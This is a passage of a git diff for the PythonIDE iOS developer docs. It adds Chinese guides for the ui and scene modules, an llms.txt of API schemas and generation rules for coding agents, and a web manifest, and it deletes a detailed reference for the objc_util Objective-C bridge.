haptics.notification("success") + state.message = "快照已保存" + + +def remind_later(): + perm = notification.request_permission() + if not perm.get("granted"): + state.message = "未获得通知权限" + return + + result = notification.schedule( + REMINDER_ID, + + + +--- source: pythonide/Docs/ui-module.md --- + +# ui 概览 + +Pythonista 风格原生 UI 组件与交互。 + + +## 预期效果 + +运行示例后会出现一个手动 frame 布局的原生 sheet,点击按钮会直接修改按钮标题。 + +## 适用场景 + +Pythonista 风格命令式 UI,使用 frame/flex 手动布局;新 MiniApp 默认优先用 appui。 + +## 先选写法 + +| 需求 | 首选 | 原因 | +| --- | --- | --- | +| 迁移 Pythonista 风格的 `ui` 脚本 | `ui` | 代码通常已经按 `View`、`frame`、`action(sender)` 组织。 | +| 新建设置页、表单、列表或多页面工具 | `appui` | 状态、导航、输入和动态列表更容易维护。 | +| 需要 Sprite、触摸循环、物理或逐帧绘制 | `scene` | 场景生命周期和渲染循环更适合动画与小游戏。 | +| 只需要桌面小组件 | `widget` | 小组件有独立的 WidgetKit 约束和刷新模型。 | +| 只想生成一张图片或画布 | `ui.ImageContext` / `CanvasView` | 不需要完整页面时,离屏绘图更轻。 | + +## 标准示例 + +```python +import ui + +def tapped(sender): + sender.title = "Tapped" + +view = ui.View(frame=(0, 0, 320, 220)) +view.name = "ui demo" +button = ui.Button(frame=(40, 80, 240, 44), title="Tap") +button.action = tapped +view.add_subview(button) +view.present("sheet") +``` + +## 写 ui 的心智模型 + +1. 根视图:创建一个有明确尺寸的 `ui.View(frame=...)`。 +2. 子视图:按钮、标签、输入框和图片用 `add_subview(...)` 挂到父视图。 +3. 布局:用 `frame` 设定初始位置,用 `flex` 处理简单的横竖屏变化。 +4. 交互:控件回调接收 `sender`,在回调里修改标题、文本、颜色或子视图。 +5. 呈现:脚本末尾调用一次 `present(...)`,不要在导入模块时弹出多个页面。 +6. 迁移:当状态、列表和导航开始变复杂,就把新页面迁到 `appui`。 + +## API 参考 + +| 类型 | API | 签名 | 说明 | +| --- | --- | --- | --- | +| class | `Color` | `Color(r: float, g: float, b: float, a: float=1.0) -> None` | 颜色类,兼容Pythonista的ui.Color | +| class | `Point` | `Point(x: Union[float, Sequence[float]]=0.0, y: float=0.0) -> None` | 二维点,兼容 Pythonista 的 ui.Point | +| class | `Size` | `Size(w: Union[float, Sequence[float]]=0.0, h: float=0.0) -> None` | 尺寸,兼容 Pythonista 的 ui.Size | +| class | `Rect` | `Rect(x: Union[float, Sequence[float]]=0.0, y: float=0.0, w: float=0.0, h: float=0.0) -> None` | 矩形,兼容 Pythonista 的 ui.Rect | +| class | `Transform` | `Transform(a: float=1.0, b: float=0.0, c: float=0.0, d: float=1.0, tx: float=0.0, ty: float=0.0) -> None` | 2D 仿射变换,兼容 Pythonista 的 ui.Transform | +| class | `Touch` | `Touch(location: Sequence[float]=..., prev_location: Optional[Sequence[float]]=..., phase: str=..., touch_id: int=..., timestamp: Union[int, float]=...) -> None` | 触摸事件,兼容 Pythonista 的 ui.Touch(简化实现) | +| class | `GestureSender` | `GestureSender(view: Optional[View]=..., state: int=..., location: Sequence[float]=..., translation: Sequence[float]=..., scale: float=..., direction: int=...) -> None` | 手势识别器回调的 sender 对象,兼容 Pythonista(state, location, translation, scale, direction) | +| class | `GestureRecognizer` | `GestureRecognizer(gesture_id: str) -> None` | 手势识别器基类,兼容 Pythonista(action(sender)) | +| class | `TapGestureRecognizer` | `TapGestureRecognizer() -> None` | 点击手势(Pythonista 兼容) | +| class | `PanGestureRecognizer` | `PanGestureRecognizer() -> None` | 拖动手势(Pythonista 兼容) | +| class | `PinchGestureRecognizer` | `PinchGestureRecognizer() -> None` | 捏合手势(Pythonista 兼容) | +| class | `SwipeGestureRecognizer` | `SwipeGestureRecognizer() -> None` | 滑动手势(Pythonista 兼容),direction: LEFT=1, RIGHT=2, UP=3, DOWN=4 | +| class | `LongPressGestureRecognizer` | `LongPressGestureRecognizer() -> None` | 长按手势(Pythonista 兼容) | +| function | `parse_color` | `parse_color(color: Any) -> Tuple[float, float, float, float]` | 解析颜色参数为RGBA元组,支持语义色(systemBackground 等)自适应深色/浅色模式 | +| class | `Font` | `Font(name: str=..., size: float=...) -> None` | 字体类,兼容Pythonista的ui.Font | +| function | `parse_font` | `parse_font(font: Any) -> Tuple[str, float]` | 解析字体参数为(name, size)元组 | +| class | `View` | `View(frame: Optional[_Frame]=..., **kwargs: Any) -> None` | 视图基类,所有UI组件的父类 | +| class | `ButtonItem` | `ButtonItem(title: str=..., image: Any=..., action: Optional[Callable[..., Any]]=..., **kwargs: Any) -> None` | 导航栏按钮项,用于 left_button_items / right_button_items | +| class | `Button` | `Button(frame: Optional[_Frame]=..., title: str=..., **kwargs: Any) -> None` | 按钮组件 | +| class | `Label` | `Label(frame: Optional[_Frame]=..., text: str=..., **kwargs: Any) -> None` | 文本标签组件 | +| class | `TextField` | `TextField(frame: Optional[_Frame]=..., text: str=..., placeholder: str=..., **kwargs: Any) -> None` | 单行文本输入组件 | +| class | `TextView` | `TextView(frame: Optional[_Frame]=..., text: str=..., **kwargs: Any) -> None` | 多行文本输入组件 | +| class | `ImageView` | `ImageView(frame: Optional[_Frame]=..., **kwargs: Any) -> None` | 图片显示组件 | +| class | `WebView` | `WebView(frame: Optional[_Frame]=..., **kwargs: Any) -> None` | 网页视图 | +| class | `ActivityIndicator` | `ActivityIndicator(frame: Optional[_Frame]=..., **kwargs: Any) -> None` | 加载指示器 | +| class | `TableView` | `TableView(frame: Optional[_Frame]=..., **kwargs: Any) -> None` | 表格视图 | +| class | `ListDataSource` | `ListDataSource() -> None` | TableView 数据源协议 子类实现 tableview_number_of_sections, tableview_number_of_rows, tableview_cell_for_row 等 | +| class | `TableViewCell` | `TableViewCell(style: str=..., **kwargs: Any) -> None` | 表格行单元,兼容 Pythonista | +| class | `Switch` | `Switch(frame: Optional[_Frame]=..., value: bool=..., **kwargs: Any) -> None` | 开关组件 | +| class | `Slider` | `Slider(frame: Optional[_Frame]=..., **kwargs: Any) -> None` | 滑块组件 | +| class | `SegmentedControl` | `SegmentedControl(frame: Optional[_Frame]=..., **kwargs: Any) -> None` | 分段控制器 | +| class | `DatePicker` | `DatePicker(frame: Optional[_Frame]=..., **kwargs: Any) -> None` | 日期时间选择器 | +| class | `ProgressView` | `ProgressView(frame: Optional[_Frame]=..., **kwargs: Any) -> None` | 进度条组件,兼容 Pythonista 的 ui.ProgressView | +| class | `Stepper` | `Stepper(frame: Optional[_Frame]=..., **kwargs: Any) -> None` | 步进器组件,兼容 Pythonista 的 ui.Stepper | +| class | `NavigationView` | `NavigationView(view: Optional[View]=..., **kwargs: Any) -> None` | 导航视图,支持 push_view / pop_view 兼容 Pythonista 的 ui.NavigationView | +| class | `ScrollView` | `ScrollView(frame: Optional[_Frame]=..., **kwargs: Any) -> None` | 滚动视图,兼容 Pythonista 的 ui.ScrollView 可容纳超出可见区域的子视图并支持滚动 | +| class | `Path` | `Path() -> None` | 路径类,兼容 Pythonista 的 ui.Path 在 ImageContext 内使用 | +| class | `GState` | `GState()` | with ui.GState(): 保存和恢复绘图状态 | + + + +--- source: pythonide/Docs/scene-module.md --- + +# scene + +Pythonista 风格的 2D 场景运行时:精灵节点、触摸、逐帧 `update()`、Classic 绘图、动作动画与 SpriteKit 物理。 + +> **边界**:`scene` 适合小游戏、画布动画和物理交互。普通表单、设置页、列表导航请用 [appui](appui);教材式海龟绘图用 [turtle](turtle-module);主屏小组件用 [widget](widget-module)。坐标原点在**左下角**(与 Pythonista 一致)。 + +## 模块概览 + +| 项 | 说明 | +| --- | --- | +| 导入 | `import scene` | +| 适合做什么 | 触摸游戏、精灵动画、粒子、碰撞、Classic 画布、手柄输入 | +| 入口 | 定义 `Scene` 子类,脚本末尾**只调用一次** `scene.run(MyScene())` | +| 生命周期 | `setup()` 建节点;`update()` 每帧逻辑;`draw()` Classic 绘图;触摸走 `touch_*` | +| 关闭方式 | `scene.run()` 会阻塞直到场景关闭(界面上的关闭按钮或系统下滑 dismiss) | +| MiniApp | Scene 类型 MiniApp 入口同样是 `scene.run(...)`,不是 `appui.run()` | +| 文档示例 | 代码块标记 `previewScene`,点「预览」直接打开全屏场景,不弹控制台 sheet | + +--- + +## 快速开始 + +点击运行后会打开全屏 2D 场景;触摸屏幕可看到坐标更新。 + +```python runnable previewScene +import scene + + +class TapDemo(scene.Scene): + def setup(self): + self.background_color = (0.08, 0.09, 0.12) + self.label = scene.LabelNode( + "Tap anywhere", + font=("Helvetica", 22), + position=(self.size.w / 2, self.size.h / 2), + parent=self, + ) + + def touch_began(self, touch): + self.label.text = f"{touch.location.x:.0f}, {touch.location.y:.0f}" + + +scene.run(TapDemo(), show_fps=True) +``` + +--- + +## 可运行示例 + +### 精灵与 Action 动画 + +`SpriteNode` 的第一个位置参数是**纹理名**;纯色块请用关键字 `color=`。动画用 `node.run_action(...)` 启动。 + +```python runnable previewScene +import scene + + +class SpriteDemo(scene.Scene): + def setup(self): + self.background_color = "black" + self.box = scene.SpriteNode( + color="cyan", + size=(80, 80), + position=(self.size.w / 2, self.size.h / 2), + parent=self, + ) + pulse = scene.Action.sequence([ + scene.Action.scale_to(1.2, 0.5), + scene.Action.scale_to(0.8, 0.5), + ]) + self.box.run_action(scene.Action.repeat_forever(pulse)) + + +scene.run(SpriteDemo(), show_fps=True) +``` + +### Classic 绘制(`draw()`) + +`fill`、`rect`、`line`、`text` 等**只能在** `draw()` 里调用。 + +```python runnable previewScene +import scene + + +class DrawDemo(scene.Scene): + def draw(self): + scene.background(0.05, 0.06, 0.08) + scene.fill(0.2, 0.6, 1.0) + scene.rect(40, 80, 120, 80, corner_radius=12) + scene.stroke(1.0, 1.0, 1.0, 0.8) + + diff --git a/docs/llms.txt b/docs/llms.txt new file mode 100644 index 0000000..682a265 --- /dev/null +++ b/docs/llms.txt @@ -0,0 +1,30 @@ +# PythonIDE Docs + +> Public docs and machine-readable contracts for generating PythonIDE Mini Apps, widgets, scene scripts, ui scripts, and iOS native capability calls. + +## Start Here + +- [Agent development](https://pythonide.xin/docs/pages/agent-development-index/): install Agent Skills and read coding rules for external agents. +- [Developer docs portal](https://pythonide.xin/docs/): browsable AppUI, Widget, and native module documentation. +- [Agent Skills install](npx skills add Python-IDE/pythonide-skills -g): recommended global install for coding agents (Codex, Claude Code, Gemini CLI, etc.). +- [Full AI context](https://pythonide.xin/llms-full.txt): combined generation rules, quick starts, and complete public API surfaces. + +## Machine-Readable API Contracts + +- [AppUI schema](https://pythonide.xin/schemas/appui_api_schema.json): canonical AppUI public API projection. +- [Widget schema](https://pythonide.xin/schemas/widget_api_schema.json): canonical Widget public API projection. +- [Native capabilities schema](https://pythonide.xin/schemas/native_capabilities_schema.json): canonical iOS native capability projection. +- [appui.pyi](https://pythonide.xin/stubs/appui.pyi): AppUI typing surface. +- [widget.pyi](https://pythonide.xin/stubs/widget.pyi): Widget typing surface. +- [ui.pyi](https://pythonide.xin/stubs/ui.pyi): Pythonista-compatible ui typing surface. +- [scene.pyi](https://pythonide.xin/stubs/scene.pyi): Pythonista-compatible scene typing surface. + +## Generation Rules + +- Use `appui` for Mini Apps and interactive native UI. +- Use `widget` for iOS Home Screen widgets. +- Use `scene` for 2D scene/game scripts. +- Use `ui` only for Pythonista-compatible UI scripts. +- Use iOS native modules only when listed in the native capabilities schema. +- Do not invent APIs. Do not use tkinter, PyQt, Flask, Streamlit, or browser/server frameworks for Mini Apps or widgets. +- Output runnable Python code for PythonIDE unless the user asks for explanation only. diff --git a/docs/manifest.webmanifest b/docs/manifest.webmanifest new file mode 100644 index 0000000..664d963 --- /dev/null +++ b/docs/manifest.webmanifest @@ -0,0 +1,16 @@ +{ + "name": "PythonIDE", + "short_name": "PythonIDE", + "start_url": "/", + "display": "browser", + "background_color": "#ffffff", + "theme_color": "#ffffff", + "icons": [ + { + "src": "/assets/brand-mark.svg", + "sizes": "any", + "type": "image/svg+xml", + "purpose": "any" + } + ] +} diff --git "a/docs/md\346\226\207\344\273\266.png" "b/docs/md\346\226\207\344\273\266.png" deleted file mode 100644 index dc63b0f..0000000 Binary files "a/docs/md\346\226\207\344\273\266.png" and /dev/null differ diff --git a/docs/objc_util-module.md b/docs/objc_util-module.md deleted file mode 100644 index 42e22f7..0000000 --- a/docs/objc_util-module.md +++ /dev/null @@ -1,399 +0,0 @@ -# objc_util 模块 — Objective-C 运行时桥接 - -PythonIDE / Pythonista 完全兼容的 Objective-C 运行时桥接模块,通过 `ctypes` 直接调用 Objective-C 运行时,可访问 iOS 系统框架中的类与方法。 - -**源码位置:** `pyboot/objc_util.py` -**公开符号:** 以模块 `__all__` 为准;下文同时说明实现中存在但未列入 `__all__` 的辅助 API。 - ---- - -## 依赖与环境 - -- 依赖 Python 标准库 `ctypes`;不可用时导入模块会抛出 `NotImplementedError`。 -- 依赖本环境提供的 `ui` 模块(与 PythonIDE 集成相关)。 -- 使用 `pyparsing` 解析部分 ObjC 类型编码。 - ---- - -## 核心类 - -### `ObjCClass(name)` - -包装指向 Objective-C **类**的指针,作为调用**类方法**的代理。 - -| 参数 | 说明 | -|------|------| -| `name` | `str`(Python 3 内部会按 ASCII 编码为 `bytes`):ObjC 类名,如 `'UIDevice'`、`'NSFileManager'`。 | - -**行为要点:** - -- 按类名**缓存**:同一类名多次构造得到同一 `ObjCClass` 实例(`__new__` 备忘录)。 -- 若运行时中不存在该类,构造时抛出 `ValueError`。 -- **下划线 → 冒号**:属性访问得到的方法名里,`_` 会替换为 `:` 构成 selector,例如 `dictionaryWithObject_forKey_(obj, key)` 对应 `[NSDictionary dictionaryWithObject:obj forKey:key]`。 -- **新语法**:方法名中**不含**下划线时,得到 `ObjCClassMethodProxy`,在**调用时**根据位置参数与关键字参数解析 selector(见 `resolve_cls_method` / `get_possible_method_names`),支持形如 `cls.methodName(param=value, ...)` 的写法。 -- 任意类方法若返回 ObjC 对象指针(类型编码以 `@` 开头),会被包装为 `ObjCInstance`。 - -**特殊方法:** - -- `__str__`:形如 ``。 -- `__eq__`:仅比较是否为 `ObjCClass` 且类名相同。 -- `__dir__`:沿类层次收集类方法对应的 Python 风格名(`:` → `_`),在到达 `NSObject` 的 metaclass 时用内置列表 `NSObject_class_methods` 截断,避免 category 产生过长列表。 - -**类方法:** - -- **`ObjCClass.get_names(prefix=None)` → `list`** - 调用 `objc_getClassList` 枚举运行时中所有类,返回类名字符串列表(已排序)。若 `prefix` 不为 `None`,只保留 `startswith(prefix)` 的项。 - -- **`ObjCClass.create(*args, **kwargs)`** - 等价于 `create_objc_class(*args, **kwargs)`。 - ---- - -### `ObjCInstance(ptr)` - -包装指向 Objective-C **实例**的指针,用于发送实例消息。 - -| 参数 | 说明 | -|------|------| -| `ptr` | 裸指针、`c_void_p`、`ObjCInstance`,或带 `_objc_ptr` 的对象;会规范为整数地址。 | - -**行为要点:** - -- **实例缓存**:`weakref.WeakValueDictionary`,同一指针尽量复用同一 `ObjCInstance`(若旧包装已被 GC,可能新建)。 -- **内存管理**:对非 `NSAutoreleasePool` 实例,在 `__new__` 中通过 `objc_msgSend` 调用 `retain`;在 `__del__` 中调用 `release`。 -- **类方法式调用**:与 `ObjCClass` 相同,支持下划线 selector 与新语法关键字解析(`ObjCInstanceMethodProxy` / `resolve_instance_method`)。 -- **方法 / 属性读**:`__getattr__` 返回 `ObjCInstanceMethod` 或 `ObjCInstanceMethodProxy`;须通过 **`()`** 调用才会执行 ObjC 消息。解析阶段若无实例方法且允许 property,可按运行时属性合成 getter。 -- **属性写**:`__setattr__` 对非保留字段名(`ptr`、`weakrefs`、`_cached_methods`、`_as_parameter_` 除外),尝试调用 `set` + 首字母大写 + 其余 + `_` 的 setter;失败则写入 `__dict__`(用于在包装器上挂载 `func`、`args` 等 Python 数据)。 -- **`__str__`**:对对象发送 `description` 再 `UTF8String`,得到可读字符串。 -- **`__repr__`**:`<类名: description字符串>`。 -- **`__eq__` / `__hash__`**:按指针比较/哈希。 - -**集合协议(NSArray / NSDictionary / NSSet):** - -- **`for x in instance`**:通过 `ObjCIterator` 使用 `objectEnumerator()` / `nextObject()`。 -- **`len(instance)`**:`count()`。 -- **`instance[key]`**:`NSArray` 为整数下标(支持负数索引);`NSDictionary` 的 key 会经 `ns(key)` 转为 `NSString`。不存在的 key 返回 `None`(ObjC `nil`)。 -- **`instance[key] = value`**:仅 `NSMutableArray` / `NSMutableDictionary`。 -- **`del instance[key]`**:仅 `NSMutableArray` / `NSMutableDictionary`。 - -**布尔值:** 若实现 `len` 则用 `len != 0`,否则指针非空为真。 - -**`__dir__`**:沿实例的真实类(`object_getClass`)收集实例方法名,在 `NSObject` 处用 `NSObject_instance_methods` 截断。 - -**32 位与结构体返回值:** 当非 LP64 且返回类型为 `ctypes.Structure` 子类时,使用 `objc_msgSend_stret` 传递返回缓冲区。 - ---- - -### `ObjCClassMethod(cls, method_name)` - -类方法的底层包装(一般由 `ObjCClass` 自动创建)。`method_name` 为带下划线的 Python 风格名;若直接映射无对应类方法,会尝试下划线/冒号位置的所有组合以兼容 selector 中含下划线的情况。 - -**调用:** - -- 默认根据 `method_getTypeEncoding` 解析参数/返回类型并调用 `objc_msgSend`。 -- 可显式传入 **`restype`**、**`argtypes`**(keyword)覆盖解析结果;此时 `argtypes` 应为**除** `self` 与 `_cmd` 外的参数类型列表(实现中会前置 `[c_void_p, c_void_p]`)。 -- 参数会自动经 `_auto_wrap`:`@` 或 `^{...}` 与 Python 对象互转时走 `ns()`;selector 参数允许传 `str` 并转为 `sel()`;`Structure` 子类允许传 `tuple` 并用 `struct_from_tuple` 构造。 - ---- - -### `ObjCInstanceMethod(obj, method_name, allow_property=True)` - -实例方法的底层包装。除上述类方法逻辑外,若未找到方法且 `allow_property=True`,可能按 **属性** 合成 encoding 与 selector(getter/setter)。 - ---- - -### `ObjCClassMethodProxy` / `ObjCInstanceMethodProxy` - -实现「无下划线方法名 + 调用时按 kwargs 解析」的代理类,通常无需直接使用。解析结果按 `(位置参数个数, 排序后的 kw 键)` 缓存。 - -**说明(与下划线语法对比):** 访问 `instance.foo`(名中无 `_`)得到的是**可调用代理**,一般需写成 **`instance.foo()`** 才会发送消息;带下划线的方法名则直接绑定 `ObjCInstanceMethod`,同样以 `()` 调用。无对应实例方法时,`ObjCInstanceMethod` 在 `allow_property=True` 时可回退到 **ObjC 属性**的 getter/setter 编码。**赋值** `instance.name = value` 由 `__setattr__` 尝试调用 `setName_`,不经过上述代理。 - ---- - -### `ObjCBlock(func, restype=None, argtypes=None)` - -将 Python 可调用对象包装为 ObjC Block 字面量结构,供 ctypes 调用链使用。 - -| 参数 | 说明 | -|------|------| -| `func` | 必须 `callable`。 | -| `restype` | ctypes 返回类型,默认 `None`。 | -| `argtypes` | ctypes 参数类型序列,默认 `[]`。 | - -**实现细节:** - -- 使用 `ctypes.CFUNCTYPE(restype, *argtypes)` 生成 `invoke` 函数指针;`isa` 指向 `__NSGlobalBlock__`。 -- **`_as_parameter_`**:LP64 为结构体本身,32 位为 `byref(block)`。 -- **`from_param(cls, param)`**(classmethod):`ObjCBlock` 或 `None` 原样返回;普通 `callable` 会新建 `ObjCBlock` 并挂在 `param._block` 上以防过早释放;否则抛 `TypeError`。 -- **`__call__(*args)`**:直接调用底层 Python `func`。 - -类型表 `type_encodings` 中含 `'@?'` → `ObjCBlock`,用于 Block 对象参数编码。 - ---- - -### `ObjCIterator(obj)`(内部用于迭代) - -包装集合的 `objectEnumerator()`,实现迭代器协议;`next` / `__next__` 在 `nextObject()` 为 `nil` 时抛出 `StopIteration`。未在 `__all__` 中导出,但为 `ObjCInstance.__iter__` 所使用。 - ---- - -## 结构体类型 - -均为 `ctypes.Structure` 子类,字段与 Apple 定义一致: - -| 类型 | `_fields_` | -|------|------------| -| `CGPoint` | `x` (`CGFloat`), `y` (`CGFloat`) | -| `CGSize` | `width`, `height` (`CGFloat`) | -| `CGVector` | `dx`, `dy` (`CGFloat`) | -| `CGRect` | `origin` (`CGPoint`), `size` (`CGSize`) | -| `CGAffineTransform` | `a`, `b`, `c`, `d`, `tx`, `ty` (`CGFloat`) | -| `UIEdgeInsets` | `top`, `left`, `bottom`, `right` (`CGFloat`) | -| `NSRange` | `location`, `length` (`NSUInteger`) | - -**辅助(模块内,非 `__all__`):** - -- `struct_from_tuple(cls, t)`:递归把元组填进嵌套 `Structure`。 -- 未知 `{StructName=...}` 编码时可通过 `parse_struct` 动态生成匿名 `Structure` 子类(供 `parse_types` 使用)。 - ---- - -## 类型常量 - -| 名称 | 定义(与源码一致) | -|------|-------------------| -| `LP64` | `sizeof(c_void_p) == 8` | -| `CGFloat` | LP64 为 `c_double`,否则 `c_float` | -| `NSInteger` | LP64 为 `c_long`,否则 `c_int` | -| `NSUInteger` | LP64 为 `c_ulong`,否则 `c_uint` | -| `NSNotFound` | Python 3:`sys.maxsize`;Python 2:`sys.maxint` | -| `NSUTF8StringEncoding` | `4` | -| `NS_UTF8` | `NSUTF8StringEncoding` 的别名 | - ---- - -## 模块级变量与句柄 - -### `c` - -`ctypes.cdll.LoadLibrary(None)` 返回的库句柄,已绑定大量 ObjC 运行时符号(如 `objc_msgSend`、`class_getName` 等),也可用于 `c['objc_msgSend']` 等形式避免并发修改模块级 `argtypes`/`restype` 时的竞态(实例方法路径中有类似用法)。 - ---- - -## 模块级函数 - -### `sel(sel_name)` → selector - -将字符串注册为 selector(`sel_registerName`)。Python 3 下会将 `str` 编码为 ASCII `bytes`。 - -```python -from objc_util import sel -s = sel('viewDidLoad') -``` - ---- - -### `ns(py_obj)` → `ObjCInstance` - -将常见 Python 值转为 Foundation 对象;已是 `ObjCInstance` 则原样返回。`c_void_p` 或带 `_objc_ptr` 会包装为 `ObjCInstance`。 - -| Python | ObjC | -|--------|------| -| `str` | `NSString.stringWithUTF8String_`(UTF-8 字节) | -| `bytes`(Py3) | `NSData.dataWithBytes_length_` | -| `str`(Py2) | 同上直接 C 字符串 | -| `unicode`(Py2) | UTF-8 编码后同上 | -| `bytearray`(Py2) | `NSData` | -| `int` | `NSNumber.numberWithInt_` | -| `float` | `NSNumber.numberWithDouble_` | -| `bool` | `NSNumber.numberWithBool_` | -| `list` | `NSMutableArray`,元素递归 `ns()` | -| `dict` | `NSMutableDictionary`,键值递归 `ns()` | -| `set` | `NSMutableSet`,元素递归 `ns()` | - ---- - -### `nsurl(url_or_path)` → `ObjCInstance`(`NSURL`) - -- 参数必须为字符串(`basestring`);否则 `TypeError`。 -- 若字符串 **包含** `':'`:`NSURL.URLWithString_(ns(url_or_path))`。 -- 否则:`NSURL.fileURLWithPath_(ns(url_or_path))`。 - ---- - -### `nsdata_to_bytes(data)` → `bytes` - -要求 `data` 为 `ObjCInstance` 且 `isKindOfClass_(NSData)`。通过 `length()`、`getBytes_length_` 拷贝为 Python `bytes`。长度为 0 时返回 `b''`。 - ---- - -### `uiimage_to_png(img)` → `bytes` - -要求 `img` 为 `UIImage` 实例。调用 C 函数 `UIImagePNGRepresentation`,再经 `nsdata_to_bytes` 返回 PNG 数据。 - ---- - -### `retain_global(obj)` / `release_global(obj)` - -将对象追加到模块级列表 `_retained_globals`,防止被 Python GC 回收(用于 IMP、Block 等需长期存活的对象)。`release_global` 尝试从列表移除,不存在则静默忽略。 - ---- - -### `on_main_thread(func)` → 包装函数 - -装饰器:若当前已在主线程(`NSThread.isMainThread`,显式 `restype=c_bool, argtypes=[]`),直接调用;否则构造运行时类 `OMMainThreadDispatcher`(或 `OMMainThreadDispatcher_3`)的实例,把 `func`、`args`、`kwargs` 存到实例上,在主线程 `performSelectorOnMainThread_withObject_waitUntilDone_` 执行 `invoke`,**同步等待**完成后 `release` 分发器并返回 `retval`。 - -非可调用对象会 `TypeError`。 - -```python -@on_main_thread -def update_ui(): - label.text = '更新完成' -``` - ---- - -### `settrace(func)`(未列入 `__all__`) - -设置模块全局 `_tracefunc`;主线程分发器 `invoke` 实现中若其非空会 `sys.settrace(_tracefunc)`。用于调试。 - ---- - -### `create_objc_class(name, superclass=NSObject, methods=[], classmethods=[], protocols=[], debug=True)` → `ObjCClass` - -动态注册 ObjC 类并返回 `ObjCClass`。 - -| 参数 | 说明 | -|------|------| -| `name` | 类名字符串(Py3 会编码为 ASCII bytes 再交给运行时)。 | -| `superclass` | `ObjCClass`,默认 `NSObject`。 | -| `methods` | 实例方法:Python 函数列表。 | -| `classmethods` | 类方法:在 `objc_registerClassPair` **之后** 加到 **metaclass** 上;注册类方法时**不会**传入 `protocols`(源码中固定为 `[]`),编码主要从父类 metaclass 或默认规则推断。 | -| `protocols` | 协议名字符串列表:仅用于**实例方法**在无法从父类得到 encoding 时的协议查询。 | -| `debug` | `True`(默认):若 `ObjCClass(name)` 已存在则递增后缀 `name_2`、`name_3`… 直到可用名(文档字符串说明可能泄漏少量内存但便于开发)。`False`:若已有同名类则**直接返回该类**,**忽略**本次其余参数(用于稳定版本避免重复注册泄漏)。 | - -**方法元数据(可选属性):** - -- `method.selector`:显式 selector 字符串(覆盖由函数名推导的规则)。 -- `method.encoding`:显式类型编码字符串。 -- `method.restype` + `method.argtypes`:与 `_add_method` 中 ctypes 签名一致时,可跳过 `parse_types` 的解析(`argtypes` 仍为不含 `self`/`_cmd` 的部分)。 - -签名与 Python 函数参数个数不一致会 `ValueError`。IMP 会通过 `retain_global` 保留。 - -```python -def my_method(self, cmd, arg): - pass -my_method.selector = 'myMethod:' -my_method.encoding = 'v@:@' -``` - ---- - -### `load_framework(name)` → 返回值由 `NSBundle.load()` 决定 - -等价于: - -`NSBundle.bundleWithPath_('/System/Library/Frameworks/%s.framework' % name).load()` - -成功与否取决于系统是否提供该路径与 bundle。示例: - -```python -from objc_util import load_framework -load_framework('Vision') -load_framework('AVFoundation') -``` - ---- - -### `autoreleasepool()`(上下文管理器,未列入 `__all__`) - -```python -with autoreleasepool(): - # ObjC 操作... - pass -``` - -实现:`NSAutoreleasePool.new()`,`yield` 后 `drain()`。 - ---- - -## 预定义类常量 - -模块加载时已执行 `ObjCClass(...)` 的变量(与 `__all__` 一致): - -**Foundation:** `NSObject`, `NSArray`, `NSMutableArray`, `NSDictionary`, `NSMutableDictionary`, `NSSet`, `NSMutableSet`, `NSString`, `NSMutableString`, `NSData`, `NSMutableData`, `NSNumber`, `NSURL`, `NSEnumerator`, `NSThread`, `NSBundle` - -**UIKit:** `UIColor`, `UIImage`, `UIBezierPath`, `UIApplication`, `UIView` - ---- - -## ctypes 重新导出 - -模块从 `ctypes` 重新导出以下名称,可直接 `from objc_util import ...` 使用: - -`Structure`, `sizeof`, `byref`, `c_void_p`, `c_char`, `c_byte`, `c_char_p`, `c_double`, `c_float`, `c_int`, `c_longlong`, `c_short`, `c_bool`, `c_long`, `c_int32`, `c_ubyte`, `c_uint`, `c_ushort`, `c_ulong`, `c_ulonglong`, `POINTER`, `pointer` - -另见上文 **`c`**(`cdll.LoadLibrary(None)`)。 - ---- - -## 异常与全局钩子 - -模块导入时会: - -- 注册 `NSSetUncaughtExceptionHandler`,将未捕获 ObjC 异常写入 `~/Documents/_objc_exception.txt`(含时间与 `description`)。 - ---- - -## 完整示例 - -```python -from objc_util import * - -# 获取设备信息 -UIDevice = ObjCClass('UIDevice') -device = UIDevice.currentDevice() -print(f'系统版本: {device.systemVersion()}') -print(f'设备名称: {device.name()}') -print(f'设备型号: {device.model()}') - -# 加载 Vision 框架进行文字识别 -load_framework('Vision') - -# 在主线程执行 UI 操作 -@on_main_thread -def show_alert(): - UIAlertController = ObjCClass('UIAlertController') - alert = UIAlertController.alertControllerWithTitle_message_preferredStyle_( - ns('提示'), ns('Hello from objc_util!'), 1 - ) - UIAlertAction = ObjCClass('UIAlertAction') - ok = UIAlertAction.actionWithTitle_style_handler_(ns('OK'), 0, None) - alert.addAction_(ok) - app = UIApplication.sharedApplication() - vc = app.keyWindow().rootViewController() - while vc.presentedViewController(): - vc = vc.presentedViewController() - vc.presentViewController_animated_completion_(alert, True, None) - -show_alert() -``` - ---- - -## `__all__` 一览(官方公开导出) - -`c`, `LP64`, `CGFloat`, `NSInteger`, `NSUInteger`, `NSNotFound`, `NSUTF8StringEncoding`, `NS_UTF8`, `CGPoint`, `CGSize`, `CGVector`, `CGRect`, `CGAffineTransform`, `UIEdgeInsets`, `NSRange`, `sel`, `ObjCClass`, `ObjCInstance`, `ObjCClassMethod`, `ObjCInstanceMethod`, `NSObject`, `NSArray`, `NSMutableArray`, `NSDictionary`, `NSMutableDictionary`, `NSSet`, `NSMutableSet`, `NSString`, `NSMutableString`, `NSData`, `NSMutableData`, `NSNumber`, `NSURL`, `NSEnumerator`, `NSThread`, `NSBundle`, `UIColor`, `UIImage`, `UIBezierPath`, `UIApplication`, `UIView`, `ObjCBlock`, `ns`, `nsurl`, `retain_global`, `release_global`, `on_main_thread`, `create_objc_class`, `Structure`, `sizeof`, `byref`, `c_void_p`, `c_char`, `c_byte`, `c_char_p`, `c_double`, `c_float`, `c_int`, `c_longlong`, `c_short`, `c_bool`, `c_long`, `c_int32`, `c_ubyte`, `c_uint`, `c_ushort`, `c_ulong`, `c_ulonglong`, `POINTER`, `pointer`, `load_framework`, `nsdata_to_bytes`, `uiimage_to_png` - ---- - -## 注意事项 - -1. **下划线与冒号**:默认将方法名中的 `_` 替换为 `:`;selector 本身含下划线时,实现会尝试多种 `_`/`:` 组合以消歧义。 -2. **自动装箱**:调用方法时,对对象/指针类参数会经 `_auto_wrap` 调用 `ns()` 等;元组可自动转为已知的 `Structure` 类型。 -3. **主线程**:UI 相关调用应通过 `@on_main_thread` 或等价机制保证在主线程执行。 -4. **内存**:`ObjCInstance` 对普通对象 retain/release;传入 ObjC 的 **回调 IMP、Block** 等需用 `retain_global`(或由 `ObjCBlock.from_param` 挂在 callable 上)避免 Python 侧先释放。 -5. 